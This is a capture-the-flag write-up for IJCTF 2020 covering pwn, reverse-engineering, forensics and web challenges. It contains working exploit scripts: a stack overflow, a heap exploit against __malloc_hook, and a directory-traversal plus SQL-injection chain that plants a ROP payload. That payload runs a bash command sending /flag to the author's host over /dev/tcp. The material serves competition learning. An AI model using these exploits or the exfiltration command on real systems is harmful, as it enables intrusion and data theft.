I played IJCTF 2020 in zer0pts and we got 3rd place.
Other member's writeup:
- [pwn 100pts] Input Checker
- [pwn 620pts] Babyheap
- [rev 728pts] Rev 0
- [rev 986pts] Rev 2
- [forensics 998pts] List Of File Type
- [rev+web+pwn 1000pts] built_in_http
Description: Finding the best input. Server: nc 35.186.153.116 5001 Files: https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/input
It's a 64-bit ELF and PIE/SSP are disabled.
$ checksec -f input RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 input
The binary has a simple buffer overflow and there's a piece of code which executes the shell. We just need to overwrite the return address. Be careful not to overwrite the loop counter during overflow.
from ptrlib import * sock = Socket("35.186.153.116", 5001) for i in range(0x418): sock.send(b"A") sock.send(p32(0x418)) sock.send(b"A" * 0x14) sock.send(p64(0xdeadbeef)) sock.send(p64(0x401253)) sock.send(p64(0xdeadbeef) * 3) sock.interactive()
Description: It's just a little baby, so treat it with love. Server: nc 35.186.153.116 7001 Files: https://github.com/linuxjustin/IJCTF2020/tree/master/pwn/babyheap
PIE/SSP/RELRO are enabled.
$ checksec -f babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 76 Symbols Yes 0 6 babyheap
It's a normal heap challenge. We can keep 10 notes with each maximum 0x3ff-byte large. The vulnerability is obviously off-by-null:
The point is that we can't put null in the payload because it uses strcpy. I just used House of Einherjar to leak the libc address and corrupt the fastbin as the version of libc is 2.23.
from ptrlib import * def new(size, data): sock.sendlineafter("> ", "1") sock.recvuntil("slot ") index = int(sock.recvline()) sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) return index def delete(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) def show(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) sock.recvuntil(": ") return sock.recvline() libc = ELF("./libc6_2.23-0ubuntu10_amd64.so") sock = Socket("35.186.153.116", 7001) one_gadget = 0xf1147 new(0xf8, b"0" * 0xf7) new(0x18, b"1" * 0x17) new(0x68, b"2" * 0x67) new(0xf8, b"3" * 0xf7) new(0x18, b"4" * 0x17) delete(0) for i in range(6, -1, -1): if i == 6: delete(2) else: delete(0) payload = b"0" * (0x60 + i) + b'\x90\x01' payload += b'\0' * (0x68 - len(payload)) new(0x68, payload) delete(3) new(0xf8, b"X" * 0xf7) libc_base = u64(show(1)) - libc.main_arena() - 0x58 logger.info("libc = " + hex(libc_base)) delete(0) for i in range(2, -1, -1): payload = b"0" * (0x20 + i) payload += p64(libc_base + libc.symbol('__malloc_hook') - 0x23)[:6] new(0x28, payload) delete(0) for i in range(6, -1, -1): payload = b"A" * (0x18 + i) + b'\x71' payload += b'\0' * (0x27 - len(payload)) new(0x28, payload) delete(0) new(0x68, "/bin/sh\0" + "A" * 0x60) payload = b"B" * 0x13 + p64(libc_base + one_gadget) payload += b"\0" * (0x68 - len(payload)) new(0x68, payload) new(0x18, "hello") sock.interactive()
Description: Try to find the flag! Files: https://github.com/linuxjustin/IJCTF2020/tree/master/rev/rev0
We're given a shared object that is made for Python.
import flagchecker print("Enter Flag: ") inp = input() if flagchecker.CheckFlag(inp): print("Way to Go!") else: print("Bad Boy!")
It's so simple that I could analyse with IDA.
v18 = [] for i in range(len(flag)): v18.append([1, 1]) for j in range(len(flag)): for k in range(8): bit = (flag[j] >> k) & 1 v18[j][bit ^ 1] = v18[j][0] + v18[j][1] x = 0 for l in range(len(flag)): x *= 1361 x += v18[l][0] x *= 1361 x += v18[l][1]
It compares x
with a fixed constant.
I created a table for v18
to recover the flag.
table = {} for c in range(0x100): w = [1, 1] for k in range(8): bit = (c >> k) & 1 w[bit ^ 1] = w[0] + w[1] table[tuple(w)] = c if c == ord('I'): print(w) n = 0xc8ec454b3ac5971259b9ec147b62f0543f37a526f4247aed6d318ff4ae3461d79ea5fda8f8632ddc3162f0b4cdb879d3ded85857a900785bbe250be80102e7ae2afd33cf074a9bf5058329e6fda96911e2694463378374a90d4e4e250327c4a0614ba51d4cf396f8a6b9f48f4a8a54e24fce4734b5833fe155ef66155475f6f86a5accd890c9143ba1c12f10515c9e682da44b41a83f49a1494df131f0bd4017cb5fb790d3c2eb183 v18 = [] while True: v18.append([0, 0]) v18[-1][1] = n % 1361 n = (n - v18[-1][1]) // 1361 v18[-1][0] = n % 1361 n = (n - v18[-1][0]) // 1361 if n == 0: break flag = '' for elm in v18: flag += chr(table[tuple(elm)]) print(flag[::-1])
Description: Standard Crackme! File: https://mega.nz/file/gZ51BCiK#VNXAmjBdhwuFkIi78hYbqR1qvrFFLiYRUvvug7mu7G0
The binary is made by AutoIt. The author of the challenge, x0r19x91, wrote an amazing decompiler for AutoIt and we used it. It reveals there’re 20 rounds that generates more AutoIt executables. The final executable is also made by AutoIt and could be decompiled. The main process is this:
Local $ans = InputBox("Login", "Enter Password:") Local $fuck[0x3c][0x3c] Local $magic[0x3c] $fuck[0x1e][0x4] = 0x46 $fuck[0x32][0x8] = 0x5c ... MsgBox($mb_iconinformation, "Auth.", "Access Granted") Run(@ComSpec & " /C timeout 2 & del " & @ScriptFullPath, "", @SW_HIDE, $stderr_child + $stdout_child) Func BADBOY() MsgBox($mb_iconerror, "Auth.", "Not so Easy!") Run(@ComSpec & " /C timeout 2 & del " & @ScriptFullPath, "", @SW_HIDE, $stderr_child + $stdout_child) Exit EndFunc ;==>BADBOY
It just generates a 60x60 matrix and a vector of 60-byte long. Let the flag be a vector , then the following equation holds:
It’s a simple math. I used sage to find .
from sage.all import * import re fuck = [[0 for i in range(0x3c)] for j in range(0x3c)] magic = [0 for i in range(0x3c)] with open("extracted.txt", "r") as f: for line in f: r = re.findall("\$fuck\[0x([0-9a-f]+)\]\[0x([0-9a-f]+)\] = 0x([0-9a-f]+)", line) if r: fuck[int(r[0][0], 16)][int(r[0][1], 16)] = int(r[0][2], 16) r = re.findall("\$magic\[0x([0-9a-f]+)\] = 0x([0-9a-f]+)", line) if r: magic[int(r[0][0], 16)] = int(r[0][1], 16) A = matrix(fuck) Y = vector(magic) X = A.solve_right(Y) flag = "" for c in X: flag += chr(c) print(flag)
Description: when the investigation going, the hacker said i hide everything with password protected, u cant crack . Even u cant find what file u want cause you missed one file(the file ll help u to get the password). but many list of file type idk which file type is it. Files: https://drive.google.com/file/d/1AlbQTHeim1oKzHFpPMpWNuyWoOiXVVOb/view?usp=sharing
It's a memory forensics challenge.
pstree
shows TrueCrypt:
. 0xfffffa80031c0060:TrueCrypt.exe 2488 2288 16 480 2020-04-16 11:17:57 UTC+0000
truecryptpassphrase
finds the password:
Found at 0xfffff88003cbaee4 length 23: d3p_tr4i_4nd_b0_d0i_qu4
hivelist
+ hashdump
+ crackstation reveals the user password is t0mc4t
.
In the result of filescan
exists the following two suspicious files:
0x000000007cdb3d90 16 0 -W-rwd \Device\HarddiskVolume2\Users\Bin\Desktop\flag.pngmp\vmware-Bin\VMwareDnD\e904785e\flag.png 0x000000007cdcc070 32 0 RW---- \Device\HarddiskVolume3\LoiNho-DenVau.wav
The first one is actually a GPG encrypted file and the second one is wav without sound.
I used steghide to extract data from the wav with the password: t0mc4t
.
(I couldn't find any evidence that the user used steghide for this file, but it worked somehow :thinking_face: :thinking_face: :thinking_face:)
It dumps a file named True_or_False_Crypt.docx
.
00000000 7a 06 76 fc aa 1e df 27 7c 6c 66 f0 6c 6a 92 00 |z.v....'|lf.lj..| 00000010 04 76 05 f6 f4 92 39 5d b2 0c 74 4f 5a 47 62 8c |.v....9]..tOZGb.| 00000020 d0 9e b7 8c 46 71 0a 6d 58 70 28 45 6f 98 21 b9 |....Fq.mXp(Eo.!.| 00000030 ce 3d 42 50 fe be 70 84 65 f6 6e f2 81 d7 31 fb |.=BP..p.e.n...1.| ...
Truecrypt can mount this with the password: d3p_tr4i_4nd_b0_d0i_qu4
.
You can find secret.txt
in the mounted disk.
password: k0_b1k_d4t_p4ss_l4_g1
Use gpg to decrypt flag.png
with this password.
$ cat flag.txt IJCTF{fc5330f476c0d814e0ed779394feb5f8}
Rev part
The binary is made by C++. PIE/SSP/RELRO are disabled. It's an HTTP server without fork. I analysed the binary with IDA and found some features:
- It finds different directories depending on the request path
/XXX
:./template/XXX.tpl
/static/XXX
:./static/XXX
<-- directory traversal/admin
:./admin/panel.tpl
- This requires key as GET parameter
- Key is stored in
./secret.txt
- There are 3 template functions (effective for
.tpl
files)[^fopen_test:XXX^]
: Open/readXXX
<-- stack overflow[^sql_test:XXX^]
: ExecuteSELECT * FROM users WHERE id='XXX'
intestdb.db
<-- sql injection[^version^]
: Executesystem("echo 1.0.0")
- Template variable is implemented
[%XXX%]
: expands GET parameter of nameXXX
. This is prior to template function, which means we may inject template function here.
Our goal is pwn the Stack Overflow in [^fopen_test^]
. (/flag
is not readable.)
Web part
@st98 found he could leak the contents of secret.txt
with the directry traversal attack.
Intruding into /admin
with the key, I could see [^sql_test:%var%^]
was working.
Unfortunately there's no template function used after this, which makes it impossible to inject another template function by the template variable.
@st98 also found we could create SQL databases by the following SQL injection, for example:
';ATTACH\tDATABASE\t'/tmp/hoge'\tAS\ta;CREATE\tTABLE\ta.t(x);SELECT\t'a
Since the files are treated as std::string
, we can use this database as an HTML template. (Null is allowed)
Using this SQLi and directory traversal, we can put arbitrary file and read it as a template.
Pwn part
We can cause buffer overflow since we can create arbitrary SQL db and use fopen_test
to open it.
The problem is we need to put our ROP chain at offset 0x8c8, which is in sqlite_master
.
After many attempts, @st98 found the following queries can put our payload at 0x8c8:
CREATE TABLE a.t(x);INSERT INTO a.t VALUES(randomblob(296)||X'[PAYLOAD HERE]'||randomblob(450))
I wrote a ROP chain which executes /flag
and sends the result to my server.
from ptrlib import * import random rop_pop_rdi = 0x004070a3 rop_pop_rbp = 0x00402650 rop_mov_rbpM8_rdi_pop_rbp = 0x00405d3e addr_cmd = 0x60a810 plt_system = 0x4022d0 def rndstr(): return '{:08x}'.format(random.randrange(0x100000000)) EVIL = rndstr() """ HOST, PORT = "0.0.0.0", 3000 PATH = "/tmp/ptr-{}.tpl".format(EVIL) """ HOST, PORT = "34.87.169.10", 31337 PATH = "/tmp/ptr-{}.tpl".format(EVIL) cmd = b'/bin/bash -c "/flag >/dev/tcp/XXX.YY.ZZZ.WW/9999"' payload = p64(rop_pop_rbp + 1) payload += p64(rop_pop_rbp) payload += p64(addr_cmd + 0x08) for i, piece in enumerate(chunks(cmd, 8, padding=b'\0')): payload += p64(rop_pop_rdi) payload += piece payload += p64(rop_mov_rbpM8_rdi_pop_rbp) payload += p64(addr_cmd + 0x10 + 8*i) payload += p64(rop_pop_rdi) payload += p64(addr_cmd) payload += p64(plt_system) sock = Socket(HOST, PORT) EXPLOIT = rndstr() logger.info("EXPLOIT @ /tmp/ptr-{}".format(EXPLOIT)) SQL = "CREATE TABLE a.t(x);INSERT INTO a.t VALUES(randomblob(296)||X'{}'||randomblob(450))".replace(" ", "\t") SQL = SQL.format(payload.hex()) print(SQL) payload = 'GET /admin?key=20c366aada34781158ae700cec09a4ce&var={} HTTP/1.1'.format( "1';ATTACH\tDATABASE\t'/tmp/ptr-{}'\tAS\ta;{};SELECT\t'x".format(EXPLOIT, SQL) ) sock.send(payload) sock.close() sock = Socket(HOST, PORT) html = str2bytes("[^fopen_test:/tmp/ptr-{}^]".format(EXPLOIT)) payload = 'GET /admin?key=20c366aada34781158ae700cec09a4ce&var={} HTTP/1.1'.format( "1';ATTACH\tDATABASE\t'{}'\tAS\ta;CREATE\tTABLE\ta.t(x);INSERT\tINTO\ta.t\tVALUES(X'{}');SELECT\t'x".format( PATH, html.hex() ) ) sock.send(payload) sock.close() sock = Socket(HOST, PORT) payload = 'GET /static/../../../../../../../tmp/ptr-{}.tpl HTTP/1.1'.format(EVIL) sock.send(payload) sock.close()